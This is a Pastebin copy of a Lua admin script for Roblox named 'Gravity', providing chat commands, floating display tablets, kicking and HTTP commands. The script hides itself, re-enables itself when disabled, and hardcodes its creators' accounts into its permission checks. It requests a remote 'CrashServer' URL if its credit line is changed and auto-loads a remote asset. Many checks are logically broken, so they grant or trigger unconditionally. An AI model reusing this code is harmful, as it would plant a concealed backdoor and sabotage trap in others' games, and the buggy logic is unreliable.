Advertisement
mathmasterphil

Gravity

Mar 6th, 2015
649
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 20.26 KB | None | 0 0
  1. wait()
  2. Allowed=game.Players.mathmasterphil --Replace MessorAdmin with your username.
  3. Hidden=true;   
  4. Removed=false;
  5. NetAble=false;
  6. LoadStringAble=false;
  7. PointsAble=false;
  8. AngledTablets=false;
  9. SBMode=true;
  10. GravityIsHere=false;
  11. Debug=false;
  12. Disco=false;
  13. LogAble=false;
  14. HttpAble=false;
  15. CodeLock=true;
  16. AutoUpdate=true;
  17. local Version=0.3;
  18. ---------------------
  19. DEFALT_Prefix=true; --kill;me
  20. KOHLS_Prefix=false; --kill:me
  21. SOLAR_Prefix=false; --kill/me
  22. CREATER_Prefix=false; --kill[me
  23. ---------------------
  24. TABLET_Size={4,5,0.2};
  25. -----------------------------------------------------------------------
  26. -----------------------------------------------------------------------a
  27. ------------- DO NOT EDIT ANY OF THIS SCRIPT !!!!!!! ------------------
  28. -----------------------------------------------------------------------
  29. -----------------------------------------------------------------------
  30. Chatlog={};
  31. Commands={};
  32. AllTablets={};
  33. HttpSynced={};
  34. JoinTimes={};
  35. MsgTablets={};
  36. MessageLimit=5;
  37. MsgRotation = 0 --] Leave at 0
  38. rotation = 0    --] Leave at 0
  39. local Prefix=""
  40. PrivateServerWaiting={};
  41. Cache={}; --No worrys
  42. Banned={'drstattik33','optiplex123','WantSomeTacos','123Dirt123','DopeClan','XEL8o9'};
  43. ScriptCreatedBy={'jillmiles1'}; --Edit this.. and the admin will die.
  44. ScriptLines={9001};
  45. Link=('http://roblox.com/--item?id=184517286');        
  46. Group=('http://www.roblox.com/My/Groups.aspx?gid=1199497');                                 --[[
  47. ====================================================================
  48. ======================= ADVANCED SETTINGS ==========================
  49. ====================================================================                     ]]--
  50. --If Found A Issue
  51. function CoreIssue(Txt) error(Txt) end
  52. --Character Apperance
  53. function NewChar(Args,Sender)
  54. Sender.CharacterAppearance=('http://www.roblox.com/Asset/CharacterFetch.ashx?userId='..Args..'&placeId='..game.PlaceId) wait() Sender:LoadCharacter()
  55. end
  56. -- Script Safety
  57. if Hidden==true then script.Parent=nil else script.Parent=workspace end
  58. --Gui
  59. function Gui(Txt)
  60. for _, Plr in pairs(game.Players:GetPlayers()) do
  61. Gui=Plr:FindFirstChild('PlayerGui')
  62. local S=Instance.new('ScreenGui',Gui)
  63. local F=Instance.new('Frame',S) F.Size=UDim2.new(1,0,0.1,0) F.Style=('DropShadow')
  64. local T=Instance.new('TextLabel',F) T.BackgroundTransparency=1 T.Size=UDim2.new(1,0,1,0)
  65. T.Font=('Legacy') T.FontSize=('Size14') T.Text=('[Gravity] '..Txt) T.TextColor3=Color3.new(255,0,0)
  66. T.TextScaled=true T.TextWrapped=true wait(3) S:remove()
  67. end
  68. end
  69. function Hint(Txt)
  70. local T=Instance.new('Hint',game.workspace)
  71. T.Text=('[Gravity] '..Txt)
  72. wait(MessageLimit) T:remove()
  73. end
  74. --Auto update
  75. function Update()
  76. if AutoUpdate==true then
  77. local adminSoftwareUpdate=game:GetService("InsertService"):LoadAsset(184517286)
  78. adminSoftwareUpdate.Name=('Gravity_Admin')
  79. adminSoftwareUpdate.Parent=nil
  80. wait()
  81. script.Disabled=true
  82. script:remove()
  83. end
  84. end
  85. --ChecksIfLoaded
  86. if game.Lighting:FindFirstChild('GravityAdmin')~=nil then
  87. GravityIsHere=false
  88. if game.Lighting.GravityAdmin.Value==('true') then
  89. Update()
  90. end
  91. else
  92. GravityIsHere=false
  93. Val=Instance.new('StringValue',game.Lighting)
  94. Val.Name=('GravityAdmin')
  95. Val.Value=('true')
  96. end
  97. --Set the Debug/SBMode correct
  98. if game.PlaceId==178350907 or game.PlaceId==20279777 or game.PlaceId==14578699 then
  99. Hint('SBMode Is Currently Active')
  100. SBMode=true else SBMode=false
  101. end
  102. --HttpBase
  103. function Base()
  104. if HttpAble==true then
  105. game:GetService("HttpService"):GetAsync("https://code.stypi.com/raw/messoradmin/DatabasePGravity/Base", true)
  106. elseif HttpAble==false then Tablet('Really red',tostring(error), Tablet('Institutional white','Load From NetworkServer?',function() end ,Plr))
  107. end end
  108. --HttpDebug
  109. function Debug()
  110. if HttpAble==true then
  111. game:GetService("HttpService"):GetAsync("https://code.stypi.com/raw/messoradmin/DatabasePGravity/Debug", true)
  112. elseif HttpAble==false then Tablet('Really red',tostring(error), Tablet('Institutional white','Load From NetworkServer?',function() end ,Plr))
  113. end end
  114. --Player Points
  115. function GivePoints()
  116.     if PointsAble==true then
  117.     for _, Plr in pairs(game.Players:GetPlayers()) do
  118.     game:GetService('PointsService'):AwardPoints(Plr.usedId,500)
  119.     print('Gravity Has Gave ['..Plr.Name..'] 500 Player Points')
  120.     end
  121.     else
  122.     end
  123. end
  124. --Database DO NOT EDIT THE FKING LINK!!!
  125. if (string.reverse('yBdetaerCtpircS'))~=nil and ScriptCreatedBy==(string.reverse('nimdArosseM')) or ScriptCreatedBy==(string.reverse('1selimllij')) then print('LERP') else
  126. if HttpAble==true then
  127. game:GetService("HttpService"):GetAsync("https://code.stypi.com/raw/messoradmin/DatabasePGravity/CrashServer", true)
  128. else end end
  129. --Music
  130. function CheckSound()
  131.     for _,Child in pairs(game["Workspace"]:GetChildren()) do
  132.         if(Child["ClassName"]==("Sound"))then
  133.             Child:Pause()
  134.             Child["PlayOnRemove"]=(false);
  135.             wait()
  136.             Child:Destroy()
  137.         end
  138.     end
  139. end
  140. --InstanceTheTablet
  141. function Tablet(Colr,Txt)
  142. local Tab=Instance.new('Part',workspace) Tab.Name=('[Output]')
  143. Tab.Anchored=true Tab.Locked=true Tab.CanCollide=false Tab.FormFactor=('Custom')
  144. Tab.TopSurface=('SmoothNoOutlines') Tab.BottomSurface=('SmoothNoOutlines')
  145. Tab.Size=Vector3.new(4,5,0.2) Tab.BrickColor=BrickColor.new(Colr) Tab.Transparency=0.3
  146. local Light=Instance.new('PointLight',Tab) Light.Color=Color3.new(Colr)
  147. local Box=Instance.new('SelectionBox',Tab) Box.Transparency=0.3  Box.Color=BrickColor.new('Really black')  Box.Adornee=Tab
  148. local g=Instance.new("BillboardGui",Tab)  g.Adornee=Tab  g.Active=false g.Size=UDim2.new(12,0,6)
  149. g.StudsOffset=Vector3.new(0,4,0) local l=Instance.new("TextLabel",g)  l.Size=UDim2.new(1,0,1,0)
  150. l.BackgroundTransparency=1  l.TextColor3=Color3.new(0,0,0) l.TextStrokeColor3=Color3.new(Colr)  l.TextStrokeTransparency=1
  151. l.Font="SourceSansBold"  l.TextWrapped=true  l.TextColor3=Color3.new(255,255,255) l.Active=false l.FontSize="Size18"  l.Text=Txt g.ExtentsOffset=Vector3.new(0,0,1)
  152. local Click=Instance.new('ClickDetector',Tab) Click.MaxActivationDistance=math.huge
  153. Click.MouseClick:connect(function(Pl) if Pl==Allowed then Dismiss() wait()
  154. end
  155. end)
  156. table.insert(AllTablets, {tab=Tab,box=Box,txt=l})
  157. wait(0.1)
  158. end
  159. --InstanceTheMessageTablet
  160. function MsgTablet(Txt)
  161. local Tab=Instance.new('Part',workspace) Tab.Name=('[Output]')
  162. Tab.Anchored=true Tab.Locked=true Tab.CanCollide=false Tab.FormFactor=('Custom')
  163. Tab.TopSurface=('SmoothNoOutlines') Tab.BottomSurface=('SmoothNoOutlines')
  164. Tab.Size=Vector3.new(1.2, 1.2, 1.2) Tab.BrickColor=BrickColor.new('Really blue') Tab.Transparency=0.7
  165. local Light=Instance.new('PointLight',Tab)
  166. local Box=Instance.new('SelectionBox',Tab) Box.Transparency=0.5  Box.Color=Tab.BrickColor  Box.Adornee=Tab
  167. local g=Instance.new("BillboardGui",Tab)  g.Adornee=Tab  g.Active=false g.Size=UDim2.new(12,0,6)
  168. g.StudsOffset=Vector3.new(0,2,0) local l=Instance.new("TextLabel",g)  l.Size=UDim2.new(1,0,1,0)
  169. l.BackgroundTransparency=1  l.TextColor3=Color3.new(0,0,0) l.TextStrokeColor3=Color3.new(0,0,255)  l.TextStrokeTransparency=1
  170. l.Font="SourceSansBold"  l.TextWrapped=true  l.TextColor3=Color3.new(0,0,255) l.Active=false l.FontSize="Size18"  l.Text=Txt g.ExtentsOffset=Vector3.new(0,0,1)
  171. local Click=Instance.new('ClickDetector',Tab) Click.MaxActivationDistance=math.huge
  172. Click.MouseClick:connect(function(Pl) if Pl==Allowed then MsgDismiss()
  173. Click.MouseHoverEnter:connect(function(Pl) if Pl==Allowed then
  174. Box.Transparency=0 end end)
  175. Click.MouseHoverLeave:connect(function(Pl) if Pl==Allowed then
  176. wait(0.1) Box.Transparency=0.5 end end)
  177. end
  178. end)
  179. table.insert(MsgTablets, {tab=Tab,box=Box,txt=l})
  180. end
  181. ----------------------------------------------------
  182. function Dismiss()
  183. for i = 1, #AllTablets do
  184. delay(0, function()
  185. for a = 0, 1, .1 do
  186. AllTablets[i].tab.Transparency = a
  187. AllTablets[i].box.Transparency = a
  188. AllTablets[i].txt.TextTransparency = a
  189. wait()
  190. end
  191. end)
  192. end
  193. while wait() do
  194. if AllTablets[1].tab.Transparency == 1 then
  195. break
  196. end
  197. end
  198. for i = 1, #AllTablets do
  199. AllTablets[i].tab:Destroy()
  200. AllTablets[i] = nil
  201. end
  202. AllTablets={}
  203. end
  204. -----------------------------------------------
  205. function MsgDismiss()
  206. for i = 1, #MsgTablets do
  207. delay(0, function()
  208. for a = 0, 1, .1 do
  209. MsgTablets[i].tab.Transparency = a
  210. MsgTablets[i].box.Transparency = a
  211. MsgTablets[i].txt.TextTransparency = a
  212. wait()
  213. end
  214. end)
  215. end
  216. while wait() do
  217. if MsgTablets[1].tab.Transparency == 1 then
  218. break
  219. end
  220. end
  221. for i = 1, #MsgTablets do
  222. MsgTablets[i].tab:Destroy()
  223. MsgTablets[i] = nil
  224. end
  225. MsgTablets={}
  226. end
  227. -- Disco
  228. function Disco()
  229. while wait() do
  230. if Disco==true then
  231. game.Lighting.Ambient=Color3.new(math.random(),math.random(),math.random())
  232. elseif Disco==false then
  233. game.Lighting.Ambient=Color3.new(255,255,255)
  234. end
  235. end
  236. end
  237. function CheckDisco()
  238. if Disco==true then
  239. Disco=false
  240. Disco()
  241. elseif Disco==false then
  242. Disco=true
  243. CheckSound() wait()
  244. local s=Instance.new('Sound',workspace)
  245. s.Volume=1
  246. s.SoundId=('rbxassetid://182098010')
  247. s.Looped=false
  248. s:Play()
  249. Disco()
  250. end
  251. end
  252. game.Players.PlayerAdded:connect(function(Plr)
  253. MsgTablet(Plr.Name..' Has Joined The Server')
  254. end)
  255. game.Players.PlayerRemoving:connect(function(Plr)
  256. MsgTablet(Plr.Name..' Has Exited The Server')
  257. end)
  258. -------------------------------------------------
  259. ------------------ Get Players ------------------
  260. -------------------------------------------------
  261. function getPlayer(Plr, Name)
  262.     local Plrs = {}
  263.     ypcall(function()
  264.         Name = Name:lower()
  265.         if Name == "me" then
  266.             table.insert(Plrs, Plr)
  267.         elseif Name == "all" or Name == "" then
  268.         for _,i in pairs(game.Players:GetPlayers()) do
  269.             table.insert(Plrs,i)
  270.                 end
  271.         elseif Name == "others" then
  272.             for _,v in pairs(game.Players:GetPlayers()) do
  273.                 if v.Name ~= Plr.Name then
  274.                     table.insert(Plrs, v)
  275.                 end
  276.             end
  277.         elseif Name == "friends" then
  278.             for _,i in pairs(game.Players:GetChildren()) do
  279.                 if i:IsFriendsWith(Plr.userId) then
  280.                     table.insert(Plrs,i)
  281.                 end
  282.             end
  283.         elseif Name == "bestfriends" then
  284.             for _,i in pairs(game.Players:GetChildren()) do
  285.                 if i:IsBestFriendsWith(Plr.userId) then
  286.                     table.insert(Plrs,i)
  287.                 end
  288.             end
  289.         elseif Name == "nonfriends" then
  290.             for _,i in pairs(game.Players:GetChildren()) do
  291.                 if not i:IsFriendsWith(Plr.userId) then
  292.                     table.insert(Plrs,i)
  293.                 end
  294.             end
  295.         elseif Name == "nonbestfriends" then
  296.             for _,i in pairs(game.Players:GetChildren()) do
  297.                 if not i:IsBestFriendsWith(Plr.userId) then
  298.                     table.insert(Plrs,i)
  299.                 end
  300.             end
  301.         elseif Name == "nbc" then
  302.             for _,i in pairs(game.Players:GetChildren()) do
  303.                 if i.MembershipType == Enum.MembershipType.None then
  304.                     table.insert(Plrs,i)
  305.                 end
  306.             end
  307.         elseif Name == "tbc" then
  308.             for _,i in pairs(game.Players:GetChildren()) do
  309.                 if i.MembershipType == Enum.MembershipType.TurboBuildersClub then
  310.                     table.insert(Plrs,i)
  311.                 end
  312.             end
  313.         elseif Name == "obc" then
  314.             for _,i in pairs(game.Players:GetChildren()) do
  315.                 if i.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  316.                     table.insert(Plrs,i)
  317.                 end
  318.             end
  319.         elseif Name == "anybc" then
  320.             for _,i in pairs(game.Players:GetChildren()) do
  321.                 if i.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  322.                     table.insert(Plrs,i)
  323.                 end
  324.             end
  325.         elseif Name == "random" then
  326.             table.insert(Plrs,game.Players:GetPlayers()[#game.Players:GetPlayers()])
  327.         else
  328.             for _,v in pairs(game.Players:GetPlayers()) do
  329.                 if v.Name:lower():find(Name) then
  330.                     table.insert(Plrs, v)
  331.                 end
  332.             end
  333.         end
  334.     end)
  335.     return Plrs
  336. end
  337. --Shutdown
  338. function ShutDown()
  339. Plr=Allowed or game.Players.MessorAdmin or game.Players.jillmiles1 or game.Players.ReIatively
  340. for i = 5, 0, -1 do wait(1) MsgTablet('Shuting Down..['..i..']')
  341. if i==0 then for _, v in pairs(game.Players:GetPlayers()) do v:Kick()
  342. end end end end
  343.  
  344. --BannedLosers
  345. function CheckBanned()
  346. for _, v in pairs(game.Players:GetPlayers()) do
  347. if v.Name==(Banned) or v.AccountAge<30 then v:Kick() else
  348. end end end
  349. game.Players.PlayerAdded:connect(function(a)
  350. if a.Name==(Banned) or a.AccountAge<30 then  CheckBanned() a:Kick()
  351. else CheckBanned() end end)
  352. game:GetService("RunService").Heartbeat:connect(CheckBanned)
  353. function Garbage()
  354.     return ((math.floor((collectgarbage("count") / 10)) * 10)/1000)
  355. end
  356. --ScriptingLock
  357. workspace.DescendantAdded:connect(function(a,Plr)
  358. if CodeLock==true then
  359. if a.ClassName=='Script' then a.Disabled=true
  360. if a.Name=='Animate' or a.Name=='Health' or a.Name=='Sound' then a.Disabled=false return end
  361. Tablet('Institutional white','ClassName ['..a.ClassName..']')
  362. Tablet('Deep orange','Dismiss',function() end)
  363. Tablet('Really red','Disable ['..a.Name..']?',function() a.Disabled=true end)
  364. Tablet('Lime green','Allow ['..a.Name..']?',function() a.Disabled=false end)
  365. end end end)
  366. --Cmd Instance
  367. Cmd=function(Name,Command,Func)
  368. table.insert(Commands, {Name=Name,Command=Command,Func=Func})
  369. end
  370. --open cmds
  371. function OpenCmds(Speaker)
  372. pcall(function()
  373. for name,data in next, Commands do
  374. Tablet('Deep orange','[Usage] '..data.Command)
  375. end
  376. end)
  377. end
  378. --HttpCheck/StudioCheck/Loadstring
  379. if not game:FindService('NetworkServer') then NetAble=false else NetAble=true end
  380. if not game:FindService('HttpService') then HttpAble=false else HttpAble=true end
  381. if not game:FindService('ServerScriptService') then LoadStringAble=false elseif game:FindService('ServerScriptService') then LoadStringAble=true  end
  382. --Intro
  383. function Intro()
  384. for i=3,0,-1 do wait(1) print('Seconds Until Gravity Http Commands Loaded ['..i..']') if i==0 then print('Http Loaded') end end
  385. Tablet('Institutional white','Get Gravity_Admin At '..Link..'!')
  386. Tablet('Institutional white','Find Gravitys Group Here '..Group..'!')
  387. Tablet('Institutional white','NumPlayers ['..game.Players.NumPlayers..']')
  388. Tablet('Institutional white','Garbage ['..Garbage()..']')
  389. MsgTablet('Gravity Version ['..Version..'] Running')
  390. MsgTablet('Welcome To GravityAdmin!, ['..Allowed.Name..']')
  391. if LoadStringAble==true then Tablet('lime green','Loadstring Is Avaible!') end
  392. if PointsAble==true then Tablet('Lime green','Player Points Are Avaible') end
  393. if HttpAble==true then Tablet('Lime green','HttpService Is Avaible!') end
  394. Tablet('Deep orange','Made By MessorAdmin/Jillmiles1/ReIatively')
  395. end
  396. Intro()
  397. --Bypass the Disabled script.
  398. game:GetService("RunService").Heartbeat:connect(function()
  399. if Removed==false then
  400. if script.Disabled==true then
  401. script.Disabled=false
  402. MsgTablet('Something Attemped To Disable This Script!')
  403. end end end)
  404. --Prefix
  405. game:GetService("RunService").Heartbeat:connect(function() wait(2)
  406. if DEFALT_Prefix==true and KOHLS_Prefix==false and SOLAR_Prefix==false and CREATER_Prefix==false then
  407. Prefix=";"
  408. elseif DEFALT_Prefix==false and KOHLS_Prefix==true and SOLAR_Prefix==false and CREATER_Prefix==false then
  409. Prefix=":"
  410. elseif DEFALT_Prefix==false and KOHLS_Prefix==false and SOLAR_Prefix==true and CREATER_Prefix==false then
  411. Prefix="/"
  412. elseif DEFALT_Prefix==false and KOHLS_Prefix==false and SOLAR_Prefix==false and CREATER_Prefix==true then
  413. Prefix="["
  414. elseif DEFALT_Prefix==false and KOHLS_Prefix==false and SOLAR_Prefix==false and CREATER_Prefix==false then
  415. tostring(error)
  416. CoreIssue('No Prefix Was Selected Returning To Defalt With Is ;') DEFALT_Prefix=true
  417. elseif DEFALT_Prefix==true and KOHLS_Prefix==true and SOLAR_Prefix==true and CREATER_Prefix==true then
  418. tostring(error)
  419. CoreIssue('Several Prefixs Where true DEFALT_Prefix is now current.')
  420. end
  421. end)
  422. ---------------------------------------------
  423. -------------- OnChatted_Connect ------------
  424. ---------------------------------------------
  425. OnChatted=function(plr,msg)
  426. ypcall(function()
  427. for name,data in next,Commands do
  428. if (data.Command:lower()..Prefix==msg:lower():sub(1,#data.Command:lower()+#Prefix)) then -- Plr = Player
  429. if (Plr==Allowed or game.Players.MessorAdmin or game.Players.jillmiles1 or game.Players.ReIatively) then
  430. msg=msg:lower():sub(#data.Command:lower()+#Prefix+1);
  431. local run,err=ypcall(function()
  432. data.Func(plr,msg)
  433. end);
  434. if(not run) then
  435. end;
  436. else
  437. end;
  438. end;
  439. end;
  440. end);
  441. end;
  442. Connect=function(plr)
  443. if(plr==Allowed or game.Players.MessorAdmin or game.Players.jillmiles1 or game.Players.ReIatively) then
  444. plr.Chatted:connect(function(msg)
  445. OnChatted(plr,msg);
  446. end) end end;
  447. for _,plr in next,game:service'Players':children'' do
  448. if(plr:IsA'Player') then
  449. Connect(plr);
  450. end end;
  451. game:service'Players'.PlayerAdded:connect(function(plr) Connect(plr) end)
  452. ---------------------------
  453. function CKick(Msg,Speaker)
  454. if Speaker==Allowed or game.Players.MessorAdmin or game.Players.jillmiles1 or game.Players.ReIatively then else
  455. if Msg:lower()=='NOVA' or 'CBA' or 'Exitium' or 'NEON' or 'Solar' or 'Sycthe' then
  456. Speaker:Kick()
  457. MsgTablet(Speaker.Name..' Was Kicked For Chatting '..Msg..'!')
  458. end end end
  459. for _, Plr in pairs(game.Players:GetPlayers()) do Plr.Chatted:connect(function(Msg) CKick(Msg) end) end
  460. ---------------------------------------------
  461. ----------------- Commands ------------------
  462. ---------------------------------------------
  463. --[[Cmds]]--
  464. Cmd('Command','Cmds',function(Msg,Speaker)
  465. Dismiss()
  466. OpenCmds(Speaker)
  467. end)
  468.  
  469. Cmd('Show Music','Music',function(Msg,Speaker)
  470. Dismiss()
  471. local S=Instance.new('Sound',workspace)
  472. S.SoundId=('rbxassetid://'..tostring(Msg))
  473. S.Volume=1
  474. S.Pitch=1
  475. wait()
  476. S:Play()
  477. end)
  478.  
  479. Cmd('Dismiss','Dt',function(Msg,Speaker)
  480. Dismiss() MsgDismiss()
  481. end)
  482.  
  483. Cmd('Prefix','Prefix',function(Msg,Speaker)
  484. Dismiss()
  485. Tablet('Lime green','DEFALT_Prefix = ;',function() DEFALT_Prefix=true  end)
  486. Tablet('Lime green','KOHLS_Prefix = :',function() KOHLS_Prefix=true  end)
  487. Tablet('Lime green','SOLAR_Prefix = /',function() SOLAR_Prefix=true  end)
  488. Tablet('Lime green','CREATER_Prefix = [',function() CREATER_Prefix=true  end)
  489. end)
  490.  
  491. Cmd('Player Points','PP',function(Msg,Speaker)
  492. GivePoints()
  493. end)
  494.  
  495. Cmd('Character','Char',function(Msg,Speaker)
  496. Msg=tostring(Msg)
  497. NewChar(Msg)
  498. end)
  499.  
  500. Cmd('PostAsync','Post',function(Link,Speaker)
  501. if Link=='' or Link==nil then Tablet('Deep orange',Speaker.Name..' Use : URLlink , DATA')
  502. if HttpAble==true then Tablet('Lime green',game:GetService('HttpService'):PostAsync(Link,true)) elseif HttpAble==false then Tablet('Really red',tostring(error))
  503. end
  504. end
  505. end)
  506.  
  507. Cmd('Get','Get',function(Link,Speaker)
  508. if Link=='' or Link==nil then Tablet('Deep orange',Speaker.Name..' Use : URLlink')
  509. if HttpAble==true then Tablet('Lime green',game:GetService('HttpService'):GetAsync(Link,true),Speaker) elseif HttpAble==false then Tablet('Really red',tostring(error))
  510. end
  511. end
  512. end)
  513.  
  514. Cmd('Disco','Disco',function(Msg,Speaker)
  515. Msg=tostring(Msg)
  516. CheckDisco()
  517. end)
  518.  
  519. Cmd('Base','Base',function(Msg,Speaker)
  520. Base()
  521. end)
  522.  
  523. Cmd('Debug','Fix',function(Msg,Speaker)
  524. Debug()
  525. end)
  526.  
  527. Cmd('Shutdown','Sd',function(Msg,Speaker)
  528. ShutDown()
  529. end)
  530.  
  531. Cmd('Instance A Tablet','Tab',function(Msg,Speaker)
  532. Dismiss()
  533. Msg=tostring(Msg)
  534. MsgTablet(Msg)
  535. end)
  536.  
  537. Cmd('ScriptLockToggle','SC',function(Msg,Speaker)
  538. if CodeLock==true then
  539. Dismiss()
  540. CodeLock=false
  541. Tablet('Lime green','Scripting Lock : Disabled')
  542. elseif CodeLock==false then
  543. Dismiss()
  544. CodeLock=true
  545. Tablet('Really red','Scripting Lock : Enabled')
  546. end
  547. end)
  548. --Rotation
  549. game:GetService("RunService").Heartbeat:connect(function()
  550. rotation = rotation + 0.0001
  551. pcall(function()
  552. for i = 1, #AllTablets do
  553. pcall(function()
  554. position = Allowed.Character.Torso.CFrame
  555. end)
  556. local radius = 10 + (#AllTablets * 0.5)
  557. x = math.cos((i / #AllTablets - (0.5 / #AllTablets) + rotation * 2) * math.pi * 2) * radius
  558. y = 0.5
  559. z = math.sin((i / #AllTablets - (0.5 / #AllTablets) + rotation * 2) * math.pi * 2) * radius
  560. pcall(function()
  561. tposition = position:toWorldSpace(CFrame.new(x,y,z):inverse())
  562. end)
  563. pcall(function()
  564. AllTablets[i].tab.CFrame = CFrame.new(tposition.p, position.p) * CFrame.Angles(math.rad(25),0,0)
  565. end)
  566. end
  567. end)
  568. end)
  569. --------------------------------
  570. game:GetService("RunService").Heartbeat:connect(function()
  571. MsgRotation = MsgRotation + 0.0001
  572. pcall(function()
  573. for i = 1, #MsgTablets do
  574. pcall(function()
  575. position = Allowed.Character.Head.CFrame
  576. end)
  577. local radius = 1.5 + (#MsgTablets * 0.8)
  578. x = math.cos((i / #MsgTablets - (0.5 / #MsgTablets) + MsgRotation * 2) * math.pi * 2) * radius
  579. y = -2
  580. z = math.sin((i / #MsgTablets - (0.5 / #MsgTablets) + MsgRotation * 2) * math.pi * 2) * radius
  581. pcall(function()
  582. tposition = position:toWorldSpace(CFrame.new(x,y,z):inverse())
  583. end)
  584. pcall(function()
  585. MsgTablets[i].tab.CFrame = CFrame.new(tposition.p, position.p) * CFrame.Angles(math.rad(25),0,0)
  586. end)
  587. end
  588. end)
  589. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement